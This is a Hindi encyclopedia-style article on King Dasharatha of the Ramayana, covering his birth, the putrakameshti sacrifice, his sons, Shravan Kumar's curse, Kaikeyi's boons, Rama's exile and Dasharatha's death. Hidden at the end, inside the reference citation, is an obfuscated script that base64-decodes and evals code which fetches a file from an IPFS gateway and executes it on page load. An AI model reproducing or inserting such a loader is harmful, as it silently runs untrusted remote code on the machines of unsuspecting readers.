दशरथ

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संक्षिप्त परिचय
दशरथ
दशरथ
वंश-गोत्र इक्ष्वाकु वंश
पिता अज
माता इन्दुमती
परिजन अज, इन्दुमती, पत्नियाँ- कौशल्या, सुमित्रा, कैकेयी
गुरु वसिष्ठ
विवाह कौशल्या, सुमित्रा, कैकेयी
संतान राम, भरत, लक्ष्मण, शत्रुघ्न
विद्या पारंगत धनुष, बाण
शासन-राज्य अयोध्या
संदर्भ ग्रंथ रामायण
मृत्यु पुत्र राम के वनगमन के बाद दशरथ ने उनके वियोग में प्राण त्याग दिये।
यशकीर्ति राजा दशरथ ने असुरों के साथ हुए युद्ध में देवताओं का साथ दिया था।
अपकीर्ति शिकार करते समय इनसे अज्ञानतावश श्रवणकुमार का वध हुआ, जो अन्धे माता-पिता का एकमात्र पुत्र था।
संबंधित लेख राम, कौशल्या, सुमित्रा, कैकेयी
अन्य जानकारी दशरथ की तीनों रानियाँ निसंतान थीं, जिस कारण पुत्र प्राप्ति की इच्छा से इन्होंने 'पुत्र कामेष्टि यज्ञ' सम्पन्न कराया था।

दशरथ पुराणों और रामायण में वर्णित इक्ष्वाकु वंशी महाराज अज के पुत्र और अयोध्या के राजा थे। इनकी माता का नाम इन्दुमती था। इन्होंने देवताओं की ओर से कई बार असुरों को युद्ध में पराजित किया था। वैवस्वत मनु के वंश में अनेक शूरवीर, पराक्रमी, प्रतिभाशाली तथा यशस्वी राजा हुये थे, जिनमें से दशरथ भी एक थे। समस्त भारत में पुरुषों के आदर्श और मर्यादापुरोत्तम श्रीराम राजा दशरथ के ही ज्येष्ठ पुत्र थे। राजा दशरथ की तीन रानियाँ थीं- कौशल्या, सुमित्रा और कैकेयी। रानी कैकेयी की हठधर्मिता के कारण ही राम को पत्नी सीता सहित वन में जाना पड़ा। राम के वियोग में ही राजा दशरथ ने अपने प्राण त्याग दिये। दशरथ के चरित्र में आदर्श महाराजा, पुत्रों को प्रेम करने वाले पिता और अपने वचनों के प्रति पूर्ण समर्पित व्यक्ति को दर्शाया गया है।

जन्म

दशरथ का जन्म इक्ष्वाकु वंश के तेजस्वी राजा अज के यहाँ रानी इन्दुमती के गर्भ से हुआ था। कौशल प्रदेश, जिसकी स्थापना वैवस्वत मनु ने की थी, पवित्र सरयू नदी के तट पर स्थित था। सुन्दर एवं समृद्ध अयोध्या नगरी इस प्रदेश की राजधानी थी। राजा दशरथ वेदों के मर्मज्ञ, धर्मप्राण, दयालु, रणकुशल, और प्रजा पालक थे। उनके राज्य में प्रजा कष्टरहित, सत्यनिष्ठ एवं ईश्वमर भक्तत थी। उनके राज्य में किसी के भी मन में किसी के प्रति द्वेषभाव का सर्वथा अभाव था।

पूर्व कथा

प्राचीन काल में मनु और शतरूपा ने वृद्धावस्था आने पर घोर तपस्या की। दोनों एक पैर पर खड़े रहकर 'ऊँ नमो भगवते वासुदेवाय' का जाप करने लगे। उनकी तपस्या से प्रसन्न होकर भगवान विष्णु ने उन्हें दर्शन दिए और वर माँगने को कहा। दोनों ने कहा- "प्रभु! आपके दर्शन पाकर हमारा जीवन धन्य हो गया। अब हमें कुछ नहीं चाहिए।" इन शब्दों को कहते-कहते दोनों की आँखों से प्रेमधारा प्रवाहित होने लगी। भगवान बोले- "तुम्हारी भक्ति से मैं बहुत प्रसन्न हूँ वत्स! इस ब्रह्माण्ड में ऐसा कुछ नहीं, जो मैं तुम्हें न दे सकूँ।" भगवान ने कहा- "तुम निस्संकोच होकर अपने मन की बात कहो।" भगवान विष्णु के ऐसा कहने पर मनु ने बड़े संकोच से अपने मन की बात कही- "प्रभु! हम दोनों की इच्छा है कि किसी जन्म में आप हमारे पुत्र रूप में जन्म लें।" 'ऐसा ही होगा वत्स!' भगवान ने उन्हें आशीर्वाद दिया और कहा- "त्रेता युग में तुम अयोध्या के राजा दशरथ के रूप में जन्म लोगे और तुम्हारी पत्नी शतरूपा तुम्हारी पटरानी कौशल्या होगी। तब मैं दुष्ट रावण का संहार करने माता कौशल्या के गर्भ से जन्म लूँगा।" मनु और शतरूपा ने प्रभु की वन्दना की। भगवान विष्णु उन्हें आशीष देकर अंतर्धान हो गए।

पुत्र कामेष्टि यज्ञ

राजा दशरथ की तीन रानियाँ थीं। सबसे बड़ी कौशल्या, दूसरी सुमित्रा और तीसरी कैकेयी। परंतु तीनों रानियाँ निःसंतान थीं। इसी से राजा दशरथ अत्यधिक चिंतित रहते थे। उन्हें चिंतित देखकर उनकी रानियाँ भी चिन्तित रहती थीं। एक बार अपनी चिंता का कारण राजा दशरथ ने राजगुरु वसिष्ठ को बताया। इस पर राजगुरु वसिष्ठ ने उनसे कहा- "राजन! उपाय से भी सभी इच्छाएँ पूर्ण हो जाती हैं। तुम श्रृंगी ऋषि को बुलाकर 'पुत्र कामेष्टि यज्ञ' कराओ। तुम्हे संतान की प्राप्ति अवश्य होगी।" राजगुरु की बात सुनकर राजा दशरथ स्वंय श्रृंगी ऋषि के आश्रम में गए और अपने मन की इच्छा प्रकट करके उनसे 'पुत्र कामेष्टि यज्ञ' कराने की प्रार्थना की। ऋषि श्रृंगी ने दशरथ की प्रार्थना स्वीकार की और अयोध्या में आकर 'पुत्र कामेष्टि यज्ञ' कराया। यज्ञ में राजा ने अपनी रानियों सहित उत्साह से भाग लिया। यज्ञ की पूर्णाहुति पर स्वयं अग्नि देव ने प्रकट होकर श्रृंगी को खीर का एक स्वर्ण पात्र दिया और कहा "ऋषिवर! यह खीर राजा की तीनों रानियों को खिला दो। राजा की इच्छा अवश्य पूर्ण होगी।"[1]

पुत्रों की प्राप्ति

अग्नि देवता से खीर का पात्र लेकर श्रृंगी ऋषि ने राजा दशरथ को दिया और जैसा अग्नि देव ने कहा था वैसा ही राजा को आदेश दिया। राजा दशरथ प्रसन्न होकर अपने महल में रानियों के साथ आये। दशरथ ने खीर के पात्र से आधी खीर रानी कौशल्या को दी और आधी खीर सुमित्रा तथा कैकेयी को। सुमित्रा और कैकेयी ने आधी खीर के तीन भाग किए। खीर के दो भाग सुमित्रा ने लिए और एक भाग कैकेयी ने ग्रहण किया। खीर खाने के बाद तीनों रानियाँ गर्भवती हो गईं। समय आने पर चैत्र मास के शुक्ल पक्ष की नवमी तिथि को पुनर्वसु नक्षत्र में सूर्य, मंगल शनि, बृहस्पति तथा शुक्र अपने-अपने उच्च स्थानों में विराजमान थे, कर्क लग्न का उदय होते ही महाराज दशरथ की बड़ी रानी कौशल्या के गर्भ से राम ने जन्म लिया। सुमित्रा ने शत्रुघ्न और लक्ष्मण, दो पुत्रों को जन्म दिया और कैकेयी ने भरत को। जब दासी ने राजा दशरथ को पुत्रों के जन्म का समाचार दिया तो दशरथ की प्रसन्नता का कोई ठिकाना न रहा। उन्होंने तत्काल अपने गले के मोतियों का हार दासी की झोली में डाल दिया और मंत्री को आदेश दिया- "मंत्रीवर! सारे नगर को सजाओ। राजकोष खोल दो बिना दान-दक्षिणा और भोजन किए कोई भी व्यक्ति राजद्वार से वापस न जाए। सारे नगर में धूम-धाम से उत्सव मनाओ।" राजा की आज्ञा लेकर मंत्री हाथ जोड़ अभिवादन करके चला गया। राजा दशरथ तेज कदमों से चलते हुए रनिवास में पहुँचे। अपने पुत्रों को देखकर उनकी आँखें प्रसन्नता से चमक उठीं। राजा दशरथ की 'शांता' नाम की एक पुत्री भी थी, जिसे इनके मित्र राजा रोमपाद ने गोद ले लिया था।[1]

शाप से ग्रसित

अपने बड़े पुत्र राम के राज्याभिषेक की इच्छा दशरथ कभी पूरी नहीं कर पाए, क्योंकि वे एक शाप से ग्रसित थे। रानी कैकयी के हठ के कारण उन्हें राम को चौदह वर्ष के लिए वनवास पर भेजना पड़ा। इसी पुत्र वियोग में दशरथ का देहांत हो गया। इस सम्बन्ध में यह भी उल्लेख मिलता है कि एक दिन शिकार करते समय नदीं में हाथी के पानी पीने के समान आवाज़ सुनकर दशरथ ने शब्द-भेदी बाण चलाया था, जिससे श्रवणकुमार नामक एक नवयुवक, जो अपने अंधे माता-पिता को लेकर तीर्थयात्रा पर निकला था और उस समय नदी से माता-पिता की प्यास बुझाने के लिए जल पात्र में भर रहा था, की दर्दनाक मृत्यु हो गई। पुत्र की मृत्यु के बाद अन्धे माता-पिता ने भी तड़प कर मरते हुए राजा दशरथ को शाप दिया कि- "तुम भी हमारी ही तरह पुत्र के शोक में मरोगे।"

कैकेयी को वरदान

राम के सीता से विवाह के बाद दशरथ ने यह घोषणा कर दी थी कि राम का राज्याभिषेक तुरन्त ही होगा। कैकेयी की एक कुबड़ी दासी थी, जिसका नाम मन्थरा था। उसने कैकेयी को बचपन से पाल-पोस कर बड़ा किया था और जब कैकेयी का विवाह राजा दशरथ के साथ हुआ तो वह भी मानो दहेज में उसके साथ भेजी गई थी। मन्थरा एक कुटिल राजनीतिज्ञ थी। उसने कैकेयी को मंत्रणा दी कि राम के राज्याभिषेक से कैकेयी का भला नहीं वरन् अनहित ही होने वाला है। उसने कैकेयी को राजा दशरथ से अपने दो वर माँगने की सलाह दी। यह घटना उस समय की है, जब दशरथ देवों के साथ मिलकर असुरों के विरुद्ध युद्ध कर रहे थे। असुरों को खदेड़ते समय उनका रथ युद्ध के फलस्वरूप रक्त, पसीने तथा मृतक शरीर में फँस गया। उस रथ की सारथी स्वयं कैकेयी थीं। उसी समय किसी शत्रु ने युधास्त्र चला कर दशरथ को घायल कर दिया तथा वह मरणासन्न हो गये। यदि कैकेयी उनके रथ को रणभूमि से दूर ले जाकर उनका उपचार नहीं करतीं तो दशरथ की मृत्यु निश्चित थी। दशरथ ने होश में आकर कैकेयी से कोई भी दो वर माँगने का आग्रह किया। उस समय रानी कैकेयी ने कहा कि वह समय आने पर अपने दोनों वर माँग लेगी।

राम का वनवास

अब जबकि दासी मन्थरा के बहकावे में आकर कैकेयी को यह आभास हो गया कि श्रीराम के राज्याभिषेक के बाद उसका अनहित ही होने वाला है, उसने कोप भवन में जाने का विचार कर लिया। उस काल में रनिवास में एक कोप भवन होता था, जहाँ कोई भी रानी किसी भी कारणवश कुपित होकर अपनी असहमति व्यक्त कर सकती थी और राजा का कर्तव्य होता था कि उसे कोप भवन के प्रांगण में जाकर उस रानी को मनाना पड़ता था। राजा दशरथ ने भी वैसा ही किया। कैकेयी दशरथ की सबसे युवा और प्रिय रानी थीं, जबकि इस समय राजा दशरथ स्वयं चौथे काल में पहुँच चुके थे। जब कैकेयी ने अपने दो वर माँगने की इच्छा दर्शाई तो कामोन्मुक्त राजा दशरथ राज़ी हो गये। इस समय कैकेयी के प्रति वासना जागना स्वाभाविक था और उस वासना के लिए जो भी बन पड़े वह निभाने के लिए उस समय राजा तत्पर रहते थे। अब कैकेयी ने राजा दशरथ से वह दो वर माँगे। एक से स्वयं के पुत्र भरत के लिए अयोध्या की राजगद्दी तथा दूसरे से राम को चौदह वर्ष का वनवास। राजा दशरथ यह बर्दाशत नहीं कर सके। उन्होंने कैकेयी को बहुत मनाने की कोशिश की। उसे बुरा-भला भी कहा। लेकिन जब कैकेयी ने उनकी एक न मानी तो वह आहत होकर वहीं कोप भवन में गिर गये।

निधन

राम को जब माता कैकेयी के दोनों वरों के बारे में आभास हुआ तो वह स्वयं ही पिता दशरथ के समीप गये और उनसे आग्रह किया कि रघुकुल की मर्यादा को ध्यान में रखते हुए वह माता कैकेयी को दोनों वर प्रदान कर दें। उन्होंने हठ करके पिता दशरथ को इन बातों के लिए मना लिया और सन्न्यासियों के वस्त्र पहनकर सीता तथा लक्ष्मण के साथ वन की ओर निकल पड़े। दशरथ यह सदमा बर्दाश्त न कर सके और उन्होंने अपने प्राण त्याग दिये।


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टीका टिप्पणी और सन्दर्भ

  1. 1.0 1.1 श्रीरामकथा (हिन्दी)। । अभिगमन तिथि: 3 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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